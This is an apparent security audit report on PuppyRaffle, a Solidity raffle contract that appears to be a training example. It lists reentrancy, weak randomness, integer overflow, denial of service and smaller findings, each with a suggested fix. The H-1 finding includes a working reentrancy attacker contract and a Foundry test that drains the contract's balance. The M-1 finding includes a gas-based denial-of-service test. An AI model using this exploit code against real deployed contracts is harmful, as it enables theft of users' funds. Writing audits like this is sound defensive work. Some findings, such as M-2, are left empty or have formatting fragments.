PuppyRaffle Audit Report

Version 1.0

IDorando

December 31, 2025

PuppyRaffle Audit Report

IDorando

December 30, 2025

Prepared by: [IDorando] Lead Auditors: - IDorando

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy. # Disclaimer

The IDorando team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in the document correspond the following commit hash:

```
1  0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
1  ./src/
2  #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Serverity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6 @>   payable(msg.sender).sendValue(entranceFee);
7 @>   players[playerIndex] = address(0);
```

```
 8
 9        emit RaffleRefunded(playerAddress);
10  }
```

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

PoC Code

Add the following to `PuppyRaffle.t.sol`

```
 1  contract ReentrancyAttacker {
 2      PuppyRaffle puppyRaffle;
 3      uint256 entranceFee;
 4      uint256 attackerIndex;
 5
 6      constructor(PuppyRaffle _puppyRaffle) {
 7          puppyRaffle = _puppyRaffle;
 8          entranceFee = puppyRaffle.entranceFee();
 9      }
10
11      function attack() public payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
16          puppyRaffle.refund(attackerIndex);
17      }
18
19      function _stealMoney() internal {
20          if (address(puppyRaffle).balance >= entranceFee) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
24
25      fallback() external payable {
26          _stealMoney();
27      }
28
29      receive() external payable {
30          _stealMoney();
31      }
```

```
32  }
33
34  // test to confirm vulnerability
35  function testCanGetRefundReentrancy() public {
36      address[] memory players = new address[](4);
37      players[0] = playerOne;
38      players[1] = playerTwo;
39      players[2] = playerThree;
40      players[3] = playerFour;
41      puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
42
43      ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
44      address attacker = makeAddr("attacker");
45      vm.deal(attacker, 1 ether);
46
47      uint256 startingAttackContractBalance = address(attackerContract).
            balance;
48      uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
49
50      // attack
51
52      vm.prank(attacker);
53      attackerContract.attack{value: entranceFee}();
54
55      // impact
56      console.log("attackerContract balance: ",
            startingAttackContractBalance);
57      console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
58      console.log("ending attackerContract balance: ", address(
            attackerContract).balance);
59      console.log("ending puppyRaffle balance: ", address(puppyRaffle).
            balance);
60  }
```

Recommendation: To prevent this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
            can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
            refunded, or is not active");
5  +   players[playerIndex] = address(0);
6  +   emit RaffleRefunded(playerAddress);
7      payable(msg.sender).sendValue(entranceFees);
8  -   players[playerIndex] = address(0);
9  -   emit RaffleRefunded(playerAddress);
```

```
10  }
```

Title: ### [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block`, `timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy. Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1  uint64 myVar = type(uint64).max
2  // 18446744073709551615
3  myVar = myVar + 1
4  // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. `diff -` `pragma solidity ^0.7.6; + pragma solidity ^0.8.18;` Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`. `diff - uint64` **public** `totalFees = 0; + uint256` **public** `totalFees = 0;`

3. Remove the balance check in `PuppyRaffle::withdrawFees diff - require(` `address(` **this** `).balance == uint256(totalFees), "PuppyRaffle: There` `are currently players active!");` We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1  // @audit Dos Attack
2  @> for(uint256 i = 0; i < players.length -1; i++){
3     for(uint256 j = i+1; j< players.length; j++)
4     require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
5  }
```

Impact: The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

Proof of Code

```
1  function testDenialOfService() public {
2       // Foundry lets us set a gas price
3       vm.txGasPrice(1);
4
5       // Creates 100 addresses
6       uint256 playersNum = 100;
7       address[] memory players = new address[](playersNum);
8       for (uint256 i = 0; i < players.length; i++) {
9           players[i] = address(i);
10      }
11
12      // Gas calculations for first 100 players
13      uint256 gasStart = gasleft();
14      puppyRaffle.enterRaffle{value: entranceFee * players.length}(
              players);
15      uint256 gasEnd = gasleft();
16      uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17      console.log("Gas cost of the first 100 players: ", gasUsedFirst);
18
19      // Creates another array of 100 players
20      address[] memory playersTwo = new address[](playersNum);
21      for (uint256 i = 0; i < playersTwo.length; i++) {
22          playersTwo[i] = address(i + playersNum);
23      }
24
25      // Gas calculations for second 100 players
26      uint256 gasStartTwo = gasleft();
27      puppyRaffle.enterRaffle{value: entranceFee * players.length}(
              playersTwo);
28      uint256 gasEndTwo = gasleft();
29      uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
30      console.log("Gas cost of the second 100 players: ", gasUsedSecond
              );
31
32      assert(gasUsedSecond > gasUsedFirst);
33  }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
 1 +      mapping(address => uint256) public addressToRaffleId;
 2 +      uint256 public raffleId = 0;
 3    .
 4    .
 5    .
 6      function enterRaffle(address[] memory newPlayers) public payable {
 7          require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
 8          for (uint256 i = 0; i < newPlayers.length; i++) {
 9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13 -       // Check for duplicates
14 +       // Check for duplicates only from the new players
15 +       for (uint256 i = 0; i < newPlayers.length; i++) {
16 +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
     PuppyRaffle: Duplicate player");
17 +       }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
     Duplicate player");
21 -            }
22 -        }
23          emit RaffleEnter(newPlayers);
24      }
25   .
26   .
27   .
28      function selectWinner() external {
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Unsafe cast if `PuppyRaffle::fee` loses fees.

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate

check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
1  function getActivePlayerIndex(address player) external view returns (
       uint256) {
2      for (uint256 i = 0; i < players.length; i++) {
3          if (players[i] == player) {
4              return i;
5          }
6      }
7      return 0;
8  }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(players[i] != players[j], "PuppyRaffle: Duplicate player"
            );
7 }
8 }
```

Info

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 3

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

`0.8.18`

The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
1        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
1        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
1        feeAddress = newFeeAddress;
```

Title: [I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 -   (bool success,) = winner.call{value: prizePool}("");
2 -   require(success, "PuppyRaffle: Failed to send prize pool to winner"
      );
3     _safeMint(winner, tokenId);
4 +   (bool success,) = winner.call{value: prizePool}("");
5 +   require(success, "PuppyRaffle: Failed to send prize pool to winner"
      );
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1  uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2  uint256 public constant FEE_PERCENTAGE = 20;
3  uint256 public constant POOL_PRECISION = 100;
4  uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
       POOL_PRECISION;
5  uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - PuppyRaffle::totalFees within the selectWinner function - PuppyRaffle::raffleStartTime within the selectWinner function - PuppyRaffle::totalFees within the withdrawFees function - ### [I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
1  -     function _isActivePlayer() internal view returns (bool) {
2  -         for (uint256 i = 0; i < players.length; i++) {
3  -             if (players[i] == msg.sender) {
4  -                 return true;
5  -             }
6  -         }
7  -         return false;
8  -     }
```